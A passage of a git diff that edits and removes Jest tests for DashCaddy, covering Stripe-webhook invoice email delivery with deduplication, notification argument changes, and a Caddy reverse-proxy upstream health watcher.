expect(sendMailMock).toHaveBeenCalledTimes(1);
|
|
||||||
const mailArgs = sendMailMock.mock.calls[0][0];
|
|
||||||
expect(mailArgs.from).toBe('billing@dashcaddy.test');
|
|
||||||
expect(mailArgs.to).toBe('alice@example.com');
|
|
||||||
// Subject contains duration and "invoice".
|
|
||||||
expect(mailArgs.subject).toContain('DashCaddy Pro');
|
|
||||||
expect(mailArgs.subject).toContain('invoice');
|
|
||||||
// HTML + text both present (multipart/alternative).
|
|
||||||
expect(mailArgs.text).toBeDefined();
|
|
||||||
expect(mailArgs.html).toBeDefined();
|
|
||||||
expect(mailArgs.html).toContain('Hi Alice'); // first name from customer_details.name
|
|
||||||
expect(mailArgs.html).toContain('INV-'); // invoice number
|
|
||||||
expect(mailArgs.html).toContain('$50.00'); // 90d tier price
|
|
||||||
// PDF attachment present.
|
|
||||||
expect(Array.isArray(mailArgs.attachments)).toBe(true);
|
|
||||||
expect(mailArgs.attachments).toHaveLength(1);
|
|
||||||
expect(mailArgs.attachments[0].filename).toMatch(/^DashCaddy-Pro-Invoice-INV-.+\.pdf$/);
|
|
||||||
expect(mailArgs.attachments[0].contentType).toBe('application/pdf');
|
|
||||||
expect(mailArgs.attachments[0].encoding).toBe('base64');
|
|
||||||
expect(mailArgs.attachments[0].content.length).toBeGreaterThan(1000); // real PDF
|
|
||||||
// PDF magic bytes.
|
|
||||||
expect(mailArgs.attachments[0].content.slice(0, 4).toString('ascii')).toBe('%PDF');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('falls back to catalog amount when line_items are missing', async () => {
|
|
||||||
const sendMailMock = jest.fn().mockResolvedValue({ messageId: 'test' });
|
|
||||||
injectSmtp(sendMailMock);
|
|
||||||
process.env.SMTP_HOST = 'smtp.test';
|
|
||||||
process.env.SMTP_FROM = 'billing@dashcaddy.test';
|
|
||||||
|
|
||||||
const event = buildSessionEvent({ productId: 'pro-365d' });
|
|
||||||
// Strip line_items entirely (simulates a webhook without expansion).
|
|
||||||
delete event.data.object.line_items;
|
|
||||||
delete event.data.object.amount_total;
|
|
||||||
// Strip customer_details.name to verify "Hi there," fallback.
|
|
||||||
delete event.data.object.customer_details.name;
|
|
||||||
|
|
||||||
const { rawBody, signatureHeader } = buildSignedPayload(event);
|
|
||||||
const result = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
|
|
||||||
const mailArgs = sendMailMock.mock.calls[0][0];
|
|
||||||
// Falls back to catalog: pro-365d is $99.00.
|
|
||||||
expect(mailArgs.html).toContain('$99.00');
|
|
||||||
expect(mailArgs.html).toContain('Hi there,');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('dev-console fallback logs invoice number + PDF size', async () => {
|
|
||||||
const event = buildSessionEvent({ productId: 'pro-30d' });
|
|
||||||
event.data.object.customer_details.name = 'Bob';
|
|
||||||
const { rawBody, signatureHeader } = buildSignedPayload(event);
|
|
||||||
const result = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
expect(result.body.deliveredVia).toBe('dev-console');
|
|
||||||
// We can't easily assert on log output from here, but the status proves
|
|
||||||
// the dev-console path was taken. The log line includes pdfBytes —
|
|
||||||
// covered indirectly by invoice.test.js verifying the PDF size.
|
|
||||||
});
|
|
||||||
|
|
||||||
test('uses claim createdAt as issuedAt (not now) for stable retry semantics', async () => {
|
|
||||||
const sendMailMock = jest.fn().mockResolvedValue({ messageId: 'test' });
|
|
||||||
injectSmtp(sendMailMock);
|
|
||||||
process.env.SMTP_HOST = 'smtp.test';
|
|
||||||
process.env.SMTP_FROM = 'billing@dashcaddy.test';
|
|
||||||
|
|
||||||
const event = buildSessionEvent({ productId: 'pro-30d' });
|
|
||||||
const { rawBody, signatureHeader } = buildSignedPayload(event);
|
|
||||||
const result = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
|
|
||||||
const mailArgs = sendMailMock.mock.calls[0][0];
|
|
||||||
// The "Issued" line must reflect the claim's createdAt (which is when
|
|
||||||
// the customer paid), not the moment we sent the email.
|
|
||||||
expect(mailArgs.html).toMatch(/Issued[\s\S]*?\d{4}-\d{2}-\d{2} \d{2}:\d{2} UTC/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('gracefully degrades to text-only email when PDF render fails', async () => {
|
|
||||||
const sendMailMock = jest.fn().mockResolvedValue({ messageId: 'test' });
|
|
||||||
injectSmtp(sendMailMock);
|
|
||||||
process.env.SMTP_HOST = 'smtp.test';
|
|
||||||
process.env.SMTP_FROM = 'billing@dashcaddy.test';
|
|
||||||
|
|
||||||
// Force PDF render to throw by passing an invalid issuedAt — this
|
|
||||||
// exercises the try/catch around renderInvoicePdf and verifies the
|
|
||||||
// bridge still sends a text+HTML email without the attachment.
|
|
||||||
// (PDFKit auto-escapes most non-ASCII; lone surrogates no longer
|
|
||||||
// throw on this PDFKit version. Bad dates remain a real crash path.)
|
|
||||||
const event = buildSessionEvent({ productId: 'pro-30d' });
|
|
||||||
// Override issuedAt to an invalid date via the bridge's deliverCode arg.
|
|
||||||
// The bridge forwards this from the invoice module, which we can stub
|
|
||||||
// at module level for this test.
|
|
||||||
const invoiceMod = require('../../src/billing/invoice');
|
|
||||||
const originalRender = invoiceMod.renderInvoicePdf;
|
|
||||||
invoiceMod.renderInvoicePdf = jest.fn().mockRejectedValue(new Error('simulated PDF render failure'));
|
|
||||||
try {
|
|
||||||
const { rawBody, signatureHeader } = buildSignedPayload(event);
|
|
||||||
const result = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
expect(result.body.delivered).toBe(true);
|
|
||||||
expect(sendMailMock).toHaveBeenCalledTimes(1);
|
|
||||||
const mailArgs = sendMailMock.mock.calls[0][0];
|
|
||||||
// No PDF attachment when render failed.
|
|
||||||
expect(mailArgs.attachments).toBeUndefined();
|
|
||||||
// Text + HTML still sent (keygen mock uses DC-TEST-... in this suite).
|
|
||||||
expect(mailArgs.text).toMatch(/DC-(PRO|TEST)-/);
|
|
||||||
expect(mailArgs.html).toContain('DashCaddy');
|
|
||||||
} finally {
|
|
||||||
invoiceMod.renderInvoicePdf = originalRender;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('replay (layer-1 event-id idempotency) does NOT re-render the invoice', async () => {
|
|
||||||
const sendMailMock = jest.fn().mockResolvedValue({ messageId: 'test' });
|
|
||||||
injectSmtp(sendMailMock);
|
|
||||||
process.env.SMTP_HOST = 'smtp.test';
|
|
||||||
process.env.SMTP_FROM = 'billing@dashcaddy.test';
|
|
||||||
|
|
||||||
const event = buildSessionEvent({ productId: 'pro-30d' });
|
|
||||||
const { rawBody, signatureHeader } = buildSignedPayload(event);
|
|
||||||
const sessionId = event.data.object.id;
|
|
||||||
|
|
||||||
// First delivery — generates a new license + invoice.
|
|
||||||
const first = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(first.body.delivered).toBe(true);
|
|
||||||
expect(first.body.codeId).toBeDefined();
|
|
||||||
const firstCodeId = first.body.codeId;
|
|
||||||
expect(sendMailMock).toHaveBeenCalledTimes(1);
|
|
||||||
|
|
||||||
// Second delivery of the SAME event — should be deduplicated by event id
|
|
||||||
// at the layer-1 check (bridge.checkEventIdempotency). SMTP must NOT be
|
|
||||||
// called again because Stripe retrying the same event ID should never
|
|
||||||
// re-send the invoice.
|
|
||||||
const second = await bridge.handleWebhook({ rawBody, signatureHeader });
|
|
||||||
expect(second.body.delivered).toBe(true);
|
|
||||||
expect(second.body.deduplicated).toBe(true);
|
|
||||||
expect(sendMailMock).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('layer-2 (different event, same session) does NOT re-send the invoice', async () => {
|
|
||||||
// Stripe can send BOTH `checkout.session.completed` AND
|
|
||||||
// `checkout.session.async_payment_succeeded` for the same Checkout Session
|
|
||||||
// (delayed-payment methods). Layer-1 dedup doesn't catch this because
|
|
||||||
// the event IDs differ — only the session ID is the same. The bridge
|
|
||||||
// MUST recognize that delivery already happened via the OTHER event and
|
|
||||||
// ack 200 without re-sending.
|
|
||||||
const sendMailMock = jest.fn().mockResolvedValue({ messageId: 'test' });
|
|
||||||
injectSmtp(sendMailMock);
|
|
||||||
process.env.SMTP_HOST = 'smtp.test';
|
|
||||||
process.env.SMTP_FROM = 'billing@dashcaddy.test';
|
|
||||||
|
|
||||||
const sessionId = `cs_test_layer2_${crypto.randomBytes(4).toString('hex')}`;
|
|
||||||
const eventA = buildSessionEvent({
|
|
||||||
productId: 'pro-30d',
|
|
||||||
sessionId,
|
|
||||||
eventId: `evt_A_${crypto.randomBytes(4).toString('hex')}`,
|
|
||||||
});
|
|
||||||
eventA.type = 'checkout.session.completed';
|
|
||||||
|
|
||||||
const eventB = buildSessionEvent({
|
|
||||||
productId: 'pro-30d',
|
|
||||||
sessionId,
|
|
||||||
eventId: `evt_B_${crypto.randomBytes(4).toString('hex')}`,
|
|
||||||
});
|
|
||||||
eventB.type = 'checkout.session.async_payment_succeeded';
|
|
||||||
|
|
||||||
// First event: completes the payment, sends the invoice.
|
|
||||||
const sigA = buildSignedPayload(eventA);
|
|
||||||
const resultA = await bridge.handleWebhook({ rawBody: sigA.rawBody, signatureHeader: sigA.signatureHeader });
|
|
||||||
expect(resultA.status).toBe(200);
|
|
||||||
expect(resultA.body.delivered).toBe(true);
|
|
||||||
expect(resultA.body.deduplicated).toBeUndefined();
|
|
||||||
expect(sendMailMock).toHaveBeenCalledTimes(1);
|
|
||||||
const firstInvoice = sendMailMock.mock.calls[0][0].attachments[0].filename;
|
|
||||||
|
|
||||||
// Second event for the SAME session: must NOT re-send (different event
|
|
||||||
// id, so layer-1 dedup doesn't catch it; layer-2 must).
|
|
||||||
const sigB = buildSignedPayload(eventB);
|
|
||||||
const resultB = await bridge.handleWebhook({ rawBody: sigB.rawBody, signatureHeader: sigB.signatureHeader });
|
|
||||||
expect(resultB.status).toBe(200);
|
|
||||||
expect(resultB.body.delivered).toBe(true);
|
|
||||||
expect(resultB.body.deduplicated).toBe(true);
|
|
||||||
// CRITICAL: only ONE SMTP call. Two invoice emails with different invoice
|
|
||||||
// numbers for one charge is a financial-document bug.
|
|
||||||
expect(sendMailMock).toHaveBeenCalledTimes(1);
|
|
||||||
const secondInvoice = sendMailMock.mock.calls[0][0].attachments[0].filename;
|
|
||||||
expect(secondInvoice).toBe(firstInvoice); // same invoice number
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|||||||
@@ -253,8 +253,8 @@ describe('WorkflowEngine._runActions — DC-044 root-cause (notify-on-failure +
|
|||||||
expect(healthResult.failingServices).toEqual(['svc-broken']);
|
expect(healthResult.failingServices).toEqual(['svc-broken']);
|
||||||
expect(notifyResult.success).toBe(true);
|
expect(notifyResult.success).toBe(true);
|
||||||
expect(notify).toHaveBeenCalledTimes(1);
|
expect(notify).toHaveBeenCalledTimes(1);
|
||||||
// DC-094 notification.send signature: (event, { title, text }, level)
|
// notification.send signature: (category, title, message, level)
|
||||||
const sentMessage = notify.mock.calls[0][1].text;
|
const sentMessage = notify.mock.calls[0][2];
|
||||||
expect(sentMessage).toBe('Health check failed for svc-broken');
|
expect(sentMessage).toBe('Health check failed for svc-broken');
|
||||||
expect(sentMessage).not.toContain('{{');
|
expect(sentMessage).not.toContain('{{');
|
||||||
});
|
});
|
||||||
@@ -269,7 +269,7 @@ describe('WorkflowEngine._runActions — DC-044 root-cause (notify-on-failure +
|
|||||||
);
|
);
|
||||||
|
|
||||||
expect(notify).toHaveBeenCalledTimes(1);
|
expect(notify).toHaveBeenCalledTimes(1);
|
||||||
expect(notify.mock.calls[0][1].text).toBe('always sent');
|
expect(notify.mock.calls[0][2]).toBe('always sent');
|
||||||
expect(results[0].success).toBe(true);
|
expect(results[0].success).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -313,7 +313,7 @@ describe('WorkflowEngine._runActions — DC-044 root-cause (notify-on-failure +
|
|||||||
);
|
);
|
||||||
|
|
||||||
expect(notify).toHaveBeenCalledTimes(1);
|
expect(notify).toHaveBeenCalledTimes(1);
|
||||||
const sentMessage = notify.mock.calls[0][1].text;
|
const sentMessage = notify.mock.calls[0][2];
|
||||||
expect(sentMessage).toBe('Failing: svc-broken-1,svc-broken-2');
|
expect(sentMessage).toBe('Failing: svc-broken-1,svc-broken-2');
|
||||||
expect(results.find(r => r.action === 'notify-on-failure').success).toBe(true);
|
expect(results.find(r => r.action === 'notify-on-failure').success).toBe(true);
|
||||||
});
|
});
|
||||||
@@ -346,7 +346,7 @@ describe('WorkflowEngine._runActions — DC-044 root-cause (notify-on-failure +
|
|||||||
// message) OR every action resolved — but in NO case may a literal
|
// message) OR every action resolved — but in NO case may a literal
|
||||||
// {{...}} template token leak into notification.send.
|
// {{...}} template token leak into notification.send.
|
||||||
if (notify.mock.calls.length > 0) {
|
if (notify.mock.calls.length > 0) {
|
||||||
const sentMessage = notify.mock.calls[0][1].text;
|
const sentMessage = notify.mock.calls[0][2];
|
||||||
expect(sentMessage).not.toMatch(/\{\{/);
|
expect(sentMessage).not.toMatch(/\{\{/);
|
||||||
expect(sentMessage).not.toMatch(/\}\}/);
|
expect(sentMessage).not.toMatch(/\}\}/);
|
||||||
// The new bundled template substitutes failingServices — make sure
|
// The new bundled template substitutes failingServices — make sure
|
||||||
|
|||||||
@@ -1,679 +0,0 @@
|
|||||||
/**
|
|
||||||
* Tests for caddy-upstream-watcher.
|
|
||||||
*
|
|
||||||
* Mock-driven: we stub fs (for /etc/caddy/sites scan + state file) and http/https
|
|
||||||
* (for the probe). Tests cover site parsing, probe happy/sad path, the 5-minute
|
|
||||||
* "dead" threshold, mute toggle, and incident integration with healthChecker.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const Module = require('module');
|
|
||||||
|
|
||||||
// Mock fs with controllable behavior.
|
|
||||||
const mockFsState = {
|
|
||||||
files: {}, // path -> string content
|
|
||||||
exists: {}, // path -> bool
|
|
||||||
writeLog: [], // writeFileSync calls
|
|
||||||
fdMap: new Map(), // open fd -> { p, content } (DC-105 atomic-write path)
|
|
||||||
closedTmp: new Map(), // closed-but-not-yet-renamed tmp path -> content
|
|
||||||
nextFd: 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
jest.mock('fs', () => {
|
|
||||||
const real = jest.requireActual('fs');
|
|
||||||
return {
|
|
||||||
...real,
|
|
||||||
existsSync: jest.fn((p) => mockFsState.exists[p] !== undefined ? mockFsState.exists[p] : (mockFsState.files[p] !== undefined)),
|
|
||||||
readFileSync: jest.fn((p) => {
|
|
||||||
if (mockFsState.files[p] === undefined) {
|
|
||||||
const e = new Error(`ENOENT: ${p}`);
|
|
||||||
e.code = 'ENOENT';
|
|
||||||
throw e;
|
|
||||||
}
|
|
||||||
return mockFsState.files[p];
|
|
||||||
}),
|
|
||||||
readdirSync: jest.fn((p) => Object.keys(mockFsState.files).filter(f => f.startsWith(p + '/')).map(f => f.substring(p.length + 1))),
|
|
||||||
writeFileSync: jest.fn((p, content) => {
|
|
||||||
mockFsState.writeLog.push({ p, content });
|
|
||||||
mockFsState.files[p] = content;
|
|
||||||
mockFsState.exists[p] = true;
|
|
||||||
}),
|
|
||||||
mkdirSync: jest.fn(),
|
|
||||||
// DC-105 canonical atomic-write path (atomic-write.js): openSync('wx') →
|
|
||||||
// writeSync → fsyncSync → closeSync → renameSync → dir fsync. Content
|
|
||||||
// accumulates per-fd, is stashed on close, and lands in files[] on rename.
|
|
||||||
openSync: jest.fn((p) => {
|
|
||||||
mockFsState.nextFd += 1;
|
|
||||||
mockFsState.fdMap.set(mockFsState.nextFd, { p, content: '' });
|
|
||||||
return mockFsState.nextFd;
|
|
||||||
}),
|
|
||||||
writeSync: jest.fn((fd, content) => {
|
|
||||||
const rec = mockFsState.fdMap.get(fd);
|
|
||||||
if (!rec) throw new Error(`EBADF: fd ${fd}`);
|
|
||||||
rec.content += content;
|
|
||||||
}),
|
|
||||||
fsyncSync: jest.fn(),
|
|
||||||
closeSync: jest.fn((fd) => {
|
|
||||||
const rec = mockFsState.fdMap.get(fd);
|
|
||||||
if (rec) {
|
|
||||||
mockFsState.closedTmp.set(rec.p, rec.content);
|
|
||||||
mockFsState.fdMap.delete(fd);
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
renameSync: jest.fn((src, dst) => {
|
|
||||||
const content = mockFsState.closedTmp.has(src)
|
|
||||||
? mockFsState.closedTmp.get(src)
|
|
||||||
: mockFsState.files[src];
|
|
||||||
mockFsState.files[dst] = content;
|
|
||||||
mockFsState.exists[dst] = true;
|
|
||||||
mockFsState.closedTmp.delete(src);
|
|
||||||
delete mockFsState.files[src];
|
|
||||||
delete mockFsState.exists[src];
|
|
||||||
}),
|
|
||||||
unlinkSync: jest.fn()
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
// Mock http/https request to control probe responses.
|
|
||||||
const probeQueue = []; // each entry: { kind: 'ok'|'err'|'timeout'|'code', statusCode? }
|
|
||||||
jest.mock('http', () => ({
|
|
||||||
request: jest.fn((opts, cb) => {
|
|
||||||
const entry = probeQueue.shift() || { kind: 'ok', statusCode: 200 };
|
|
||||||
const handlers = {};
|
|
||||||
const res = {
|
|
||||||
statusCode: entry.statusCode || 200,
|
|
||||||
headers: { server: 'mock' },
|
|
||||||
resume: () => {},
|
|
||||||
on: (e, fn) => { handlers[e] = fn; }
|
|
||||||
};
|
|
||||||
const req = {
|
|
||||||
on: jest.fn((e, fn) => { handlers[e] = fn; }),
|
|
||||||
end: jest.fn(() => {
|
|
||||||
if (entry.kind === 'err') {
|
|
||||||
handlers.error && handlers.error(new Error(entry.message || 'connect ECONNREFUSED'));
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (entry.kind === 'timeout') {
|
|
||||||
handlers.timeout && handlers.timeout();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
cb(res);
|
|
||||||
if (handlers.end) handlers.end();
|
|
||||||
}),
|
|
||||||
destroy: jest.fn()
|
|
||||||
};
|
|
||||||
return req;
|
|
||||||
})
|
|
||||||
}));
|
|
||||||
jest.mock('https', () => ({
|
|
||||||
request: jest.fn((opts, cb) => {
|
|
||||||
const entry = probeQueue.shift() || { kind: 'ok', statusCode: 200 };
|
|
||||||
const handlers = {};
|
|
||||||
const res = {
|
|
||||||
statusCode: entry.statusCode || 200,
|
|
||||||
headers: { server: 'mock-https' },
|
|
||||||
resume: () => {},
|
|
||||||
on: (e, fn) => { handlers[e] = fn; }
|
|
||||||
};
|
|
||||||
const req = {
|
|
||||||
on: jest.fn((e, fn) => { handlers[e] = fn; }),
|
|
||||||
end: jest.fn(() => {
|
|
||||||
if (entry.kind === 'err') {
|
|
||||||
handlers.error && handlers.error(new Error(entry.message || 'TLS error'));
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
cb(res);
|
|
||||||
if (handlers.end) handlers.end();
|
|
||||||
}),
|
|
||||||
destroy: jest.fn()
|
|
||||||
};
|
|
||||||
return req;
|
|
||||||
})
|
|
||||||
}));
|
|
||||||
|
|
||||||
// Reset fs mock state between tests.
|
|
||||||
beforeEach(() => {
|
|
||||||
mockFsState.files = {};
|
|
||||||
mockFsState.exists = {};
|
|
||||||
mockFsState.writeLog = [];
|
|
||||||
mockFsState.fdMap = new Map();
|
|
||||||
mockFsState.closedTmp = new Map();
|
|
||||||
mockFsState.nextFd = 0;
|
|
||||||
probeQueue.length = 0;
|
|
||||||
jest.clearAllMocks();
|
|
||||||
jest.resetModules();
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('CaddyUpstreamWatcher', () => {
|
|
||||||
const SITES = '/etc/caddy/sites';
|
|
||||||
const STATE = '/tmp/caddy-upstreams-test.json';
|
|
||||||
|
|
||||||
function seedSites(files) {
|
|
||||||
for (const [name, content] of Object.entries(files)) {
|
|
||||||
mockFsState.files[SITES + '/' + name] = content;
|
|
||||||
mockFsState.exists[SITES + '/' + name] = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function loadWatcher() {
|
|
||||||
process.env.CADDY_UPSTREAMS_STATE_FILE = STATE;
|
|
||||||
process.env.CADDY_SITES_DIR = SITES;
|
|
||||||
// Disable the singleton's auto-write so we can call _saveState manually.
|
|
||||||
const mod = require('../src/monitoring/caddy-upstream-watcher');
|
|
||||||
return { mod, w: mod.CaddyUpstreamWatcher ? new mod.CaddyUpstreamWatcher() : mod };
|
|
||||||
}
|
|
||||||
|
|
||||||
test('parses reverse_proxy directives from /etc/caddy/sites/*', async () => {
|
|
||||||
seedSites({
|
|
||||||
'arch.sami': `arch.sami {\n reverse_proxy 100.120.159.34:5000 { health_uri /api/stats }\n}`,
|
|
||||||
'appt.sami': `appt.sami {\n reverse_proxy http://100.81.59.99:5232\n}`,
|
|
||||||
'zap.sami': `zap.sami {\n reverse_proxy 10.0.0.5:8080\n reverse_proxy 10.0.0.6:8080 # multiple upstreams in same site block\n}`
|
|
||||||
});
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const snap = w.snapshot();
|
|
||||||
const hosts = snap.upstreams.map(u => u.host).sort();
|
|
||||||
expect(hosts).toEqual(['10.0.0.5:8080', '10.0.0.6:8080', '100.120.159.34:5000', '100.81.59.99:5232']);
|
|
||||||
expect(snap.upstreams.find(u => u.host === '100.120.159.34:5000').site).toBe('arch.sami');
|
|
||||||
expect(snap.upstreams.find(u => u.host === '100.81.59.99:5232').site).toBe('appt.sami');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('ignores non-site files and unparseable entries', async () => {
|
|
||||||
seedSites({
|
|
||||||
'README.md': '# documentation\nreverse_proxy 1.2.3.4:9999\n', // not a site file
|
|
||||||
'garbage.sami': 'not a caddyfile\n', // no reverse_proxy
|
|
||||||
'good.sami': 'good.sami {\n reverse_proxy 1.2.3.4:9999\n}\n'
|
|
||||||
});
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const hosts = w.snapshot().upstreams.map(u => u.host);
|
|
||||||
expect(hosts).toEqual(['1.2.3.4:9999']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handles real prod-style filenames: zap.sami-ahmed.net, samitest.space, blocks.cryptographic-triangles.org', async () => {
|
|
||||||
// These are the actual file names in production /etc/caddy/sites/ —
|
|
||||||
// extension is .net / .space / .org, NOT .sami/.caddy/.conf. The old
|
|
||||||
// file-extension filter would skip them silently.
|
|
||||||
seedSites({
|
|
||||||
'zap.sami-ahmed.net': 'zap.sami-ahmed.net {\n reverse_proxy localhost:8088\n}\n',
|
|
||||||
'samitest.space': 'samitest.space {\n reverse_proxy 100.120.159.34:8080 {}\n}\n',
|
|
||||||
'blocks.cryptographic-triangles.org': 'blocks.cryptographic-triangles.org {\n\treverse_proxy localhost:3052 {}\n}\n'
|
|
||||||
});
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
const snap = w.snapshot();
|
|
||||||
const byHost = Object.fromEntries(snap.upstreams.map(u => [u.host, u.site]));
|
|
||||||
expect(byHost['localhost:8088']).toBe('zap.sami-ahmed.net');
|
|
||||||
expect(byHost['100.120.159.34:8080']).toBe('samitest.space');
|
|
||||||
expect(byHost['localhost:3052']).toBe('blocks.cryptographic-triangles.org');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('drops upstreams that disappear from the sites dir', async () => {
|
|
||||||
seedSites({
|
|
||||||
'arch.sami': 'arch.sami {\n reverse_proxy 1.1.1.1:5000\n}\n'
|
|
||||||
});
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
expect(w.upstreams.size).toBe(1);
|
|
||||||
mockFsState.files = {}; // wipe
|
|
||||||
mockFsState.exists = {};
|
|
||||||
await w.scanSites();
|
|
||||||
expect(w.upstreams.size).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('healthy probe updates state and does not open an incident', async () => {
|
|
||||||
seedSites({ 'good.sami': 'good.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = { createIncident: jest.fn(), incidents: [] };
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
await w._probeOne(w.upstreams.values().next().value);
|
|
||||||
const snap = w.snapshot();
|
|
||||||
expect(snap.upstreams[0].status).toBe('up');
|
|
||||||
expect(snap.upstreams[0].lastSuccessAt).toBeTruthy();
|
|
||||||
expect(fakeHealthChecker.createIncident).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('auth-walled 4xx counts as healthy (proves the upstream answered)', async () => {
|
|
||||||
seedSites({ 'auth.sami': 'auth.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 401 });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
await w.scanSites();
|
|
||||||
await w._probeOne(w.upstreams.values().next().value);
|
|
||||||
expect(w.snapshot().upstreams[0].status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('first failure flips status to down but does NOT open an incident (under 5min)', async () => {
|
|
||||||
seedSites({ 'bad.sami': 'bad.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'connect ECONNREFUSED' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = { createIncident: jest.fn(), incidents: [] };
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.values().next().value;
|
|
||||||
u.lastSuccessAt = new Date(Date.now() - 30000).toISOString(); // 30s ago it was healthy
|
|
||||||
await w._probeOne(u);
|
|
||||||
const snap = w.snapshot();
|
|
||||||
expect(snap.upstreams[0].status).toBe('down');
|
|
||||||
expect(snap.upstreams[0].failingForMs).toBeLessThan(5 * 60 * 1000);
|
|
||||||
expect(fakeHealthChecker.createIncident).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('after 5 minutes of consecutive failures an incident is opened', async () => {
|
|
||||||
seedSites({ 'dead.sami': 'dead.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'i/o timeout' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const incidents = [];
|
|
||||||
const fakeHealthChecker = {
|
|
||||||
createIncident: jest.fn((serviceId, type, message, status) => {
|
|
||||||
incidents.push({ serviceId, type, message, status });
|
|
||||||
}),
|
|
||||||
incidents: []
|
|
||||||
};
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.values().next().value;
|
|
||||||
// Simulate lastSuccessAt being 6 minutes ago so failingForMs exceeds DEAD_AFTER_MS.
|
|
||||||
u.lastSuccessAt = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(fakeHealthChecker.createIncident).toHaveBeenCalledTimes(1);
|
|
||||||
expect(fakeHealthChecker.createIncident.mock.calls[0][1]).toBe('caddy-upstream-dead');
|
|
||||||
expect(w.openIncidents.has('1.1.1.1:80')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('does not duplicate incidents for the same upstream', async () => {
|
|
||||||
seedSites({ 'dead.sami': 'dead.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
// Queue up 3 errors so each probe fails.
|
|
||||||
probeQueue.push({ kind: 'err', message: 'i/o timeout' });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'i/o timeout' });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'i/o timeout' });
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = {
|
|
||||||
createIncident: jest.fn(),
|
|
||||||
incidents: []
|
|
||||||
};
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.values().next().value;
|
|
||||||
u.lastSuccessAt = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
|
||||||
await w._probeOne(u);
|
|
||||||
await w._probeOne(u);
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(fakeHealthChecker.createIncident).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recovery resolves the open incident after RESOLVED_AFTER_MS', async () => {
|
|
||||||
seedSites({ 'flap.sami': 'flap.sami { reverse_proxy 1.1.1.1:80 }\n' });
|
|
||||||
probeQueue.push({ kind: 'err', message: 'i/o timeout' }); // trip dead
|
|
||||||
probeQueue.push({ kind: 'ok', statusCode: 200 }); // recovery
|
|
||||||
const { w } = loadWatcher();
|
|
||||||
const fakeHealthChecker = {
|
|
||||||
createIncident: jest.fn(),
|
|
||||||
resolveIncident: jest.fn(),
|
|
||||||
incidents: []
|
|
||||||
};
|
|
||||||
w.healthChecker = fakeHealthChecker;
|
|
||||||
await w.scanSites();
|
|
||||||
const u = w.upstreams.values().next().value;
|
|
||||||
// Trip the dead state
|
|
||||||
u.lastSuccessAt = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
|
||||||
await w._probeOne(u);
|
|
||||||
expect(w.openIncidents.has('1.1.1.1:80')).toBe(true);
|
|
||||||
// Simulate a recovery — lastFailureAt is 2 min ago, now healthy
|
|
||||||
